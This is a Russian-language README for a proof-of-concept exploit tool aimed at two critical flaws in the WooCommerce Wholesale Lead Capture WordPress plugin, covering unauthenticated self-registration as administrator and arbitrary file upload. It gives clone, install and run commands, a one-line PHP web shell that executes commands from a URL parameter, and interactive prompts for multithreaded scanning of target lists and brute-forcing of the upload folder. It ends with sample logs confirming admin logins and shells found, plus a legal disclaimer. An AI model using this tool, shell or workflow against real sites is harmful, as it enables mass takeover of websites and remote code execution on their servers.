
Неаутентифицированное повышение привилегий | Неаутентифицированная произвольная загрузка файлов
Описание:
Плагин WooCommerce Wholesale Lead Capture для WordPress уязвим к неаутентифицированному повышению привилегий во всех известных затронутых версиях. Уязвимость находится в обработчике AJAX-действия wwlc_create_user, который обрабатывает запросы на регистрацию пользователей без надлежащей санитизации или проверки полей ролей, предоставленных пользователем. Удалённый неаутентифицированный злоумышленник может сформировать специально созданный POST-запрос, который внедряет произвольные поля возможностей WordPress — включая wp_capabilities[administrator] — непосредственно в метаданные пользователя в момент создания учётной записи. Это позволяет злоумышленнику самостоятельно зарегистрироваться в качестве администратора WordPress без какой-либо предварительной аутентификации или взаимодействия с легитимным пользователем, что приводит к полной компрометации затронутой установки WordPress.
Описание:
Плагин WooCommerce Wholesale Lead Capture для WordPress уязвим к неаутентифицированной произвольной загрузке файлов во всех известных затронутых версиях. Уязвимость находится в AJAX-действии wwlc_file_upload_handler, которое зарегистрировано без каких-либо требований аутентификации или проверки nonce. Отправляя специально сформированный multipart POST-запрос на /wp-admin/admin-ajax.php, удалённый неаутентифицированный злоумышленник может загружать файлы произвольного типа — включая PHP-веб-шеллы — в каталог сервера wp-content/uploads/ в динамически создаваемый подкаталог wwlc-temp-*. Успешная эксплуатация приводит к удалённому выполнению кода (RCE) на веб-сервере от имени учётной записи пользователя веб-процесса.
Это эксплойт Proof-of-Concept (PoC) для двух описанных выше критических уязвимостей, нацеленный на установки WordPress, на которых работает плагин WooCommerce Wholesale Lead Capture. Инструмент поддерживает два независимых режима атаки:
| Режим | Тип атаки | Цель |
|---|---|---|
| Режим 1 | Неаутентифицированная произвольная загрузка файлов + подбор каталога перебором | Загрузить PHP-веб-шелл и найти его с помощью многоуровневого подбора каталога |
| Режим 2 | Неаутентифицированное повышение привилегий через регистрацию | Самостоятельно зарегистрироваться как администратор WordPress и подтвердить доступ администратора |
pip install requests urllib3 colorama
Или установка через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
Инструмент предоставляет интерактивный терминальный интерфейс. У вас будут запрошены все необходимые параметры.
Создайте обычный текстовый файл (например, list.txt) с одним целевым URL в каждой строке:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Пример файла шелла (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Примечание: Каталог
wwlc-temp-*динамически генерируется плагином с помощью PHP-функцииuniqid('wwlc-temp-'). Инструмент использует многоуровневую стратегию перебора для его обнаружения:
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
Инструмент:
administrator| Файл | Описание |
|---|---|
scan_results/wwlc_uploads.txt |
[INFO] Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO] https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2
[INFO] Mode1 | Target: https://target.com
[INFO] https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO] https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO] https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s
Автор: Nxploited (Khaled Alenazi)
ЭТОТ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННЫХ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ.
Автор, Nxploited (Khaled Alenazi), и все участники этого проекта не одобряют, не поддерживают и не несут никакой ответственности за неправомерное использование этого инструмента или любой ущерб, причинённый использованием данного программного обеспечения против систем, на тестирование которых у вас нет явного письменного разрешения.
- ✅ Разрешено: Использование на системах, которыми вы владеете или на тестирование которых получили явное письменное разрешение.
- ❌ Запрещено: Использование против любых систем без предварительного явного письменного разрешения владельца системы.
Несанкционированный доступ к компьютерным системам незаконен и наказывается в соответствии с применимым законодательством, включая, помимо прочего, Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Закон о неправомерном использовании компьютеров (CMA) и аналогичные законы по всему миру.
Используя этот инструмент, вы принимаете на себя полную ответственность за свои действия и подтверждаете, что имеете законное право на тестирование целевых систем.
Автор не несёт никакой ответственности за любые прямые, косвенные, случайные или иные убытки, возникшие в результате использования или неправомерного использования данного программного обеспечения.
© 2026 Nxploited (Khaled Alenazi) — Только для авторизованных исследований безопасности.
| Поле | Детали |
|---|
| CVE ID | CVE-2026-27542 |
| Серьёзность | CRITICAL — оценка CVSS v3.1: 9.8 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронутый компонент | Плагин WooCommerce Wholesale Lead Capture (WWLC) для WordPress |
| Тип уязвимости | Неаутентифицированное повышение привилегий |
| Требуется аутентификация | Нет |
| CWE | CWE-269: Некорректное управление привилегиями |
| Поле | Детали |
|---|
| CVE ID | CVE-2026-27540 |
| Серьёзность | CRITICAL — оценка CVSS v3.1: 9.8 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронутый компонент | Плагин WooCommerce Wholesale Lead Capture (WWLC) для WordPress |
| Тип уязвимости | Неаутентифицированная произвольная загрузка файлов (приводящая к удалённому выполнению кода) |
| Требуется аутентификация | Нет |
| CWE | CWE-434: Неограниченная загрузка файла опасного типа |
| Уровень | Стратегия | Описание |
|---|
| 0 | Листинг каталога | Пытается получить список каталога загрузок, если он открыт |
| 1 | На основе шаблонов | Подбор на основе времени и последовательных числовых значений |
| 2 | Hex на основе времени | Основан на наблюдаемых временных метках HTTP-запросов |
| 3 | Случайный Hex | Подбор чисто случайных hex-строк |
| Все сайты, на которых загрузка файлов прошла успешно (Режим 1) |
scan_results/wwlc_shells_found.txt | Полные URL шеллов, доступность которых подтверждена (Режим 1) |
scan_results/wwlc_register_results.txt | Результаты всех попыток регистрации с учётными данными (Режим 2) |
scan_results/Admin_login.txt | Подтверждённые успешные входы администратора с учётными данными (Режим 2) |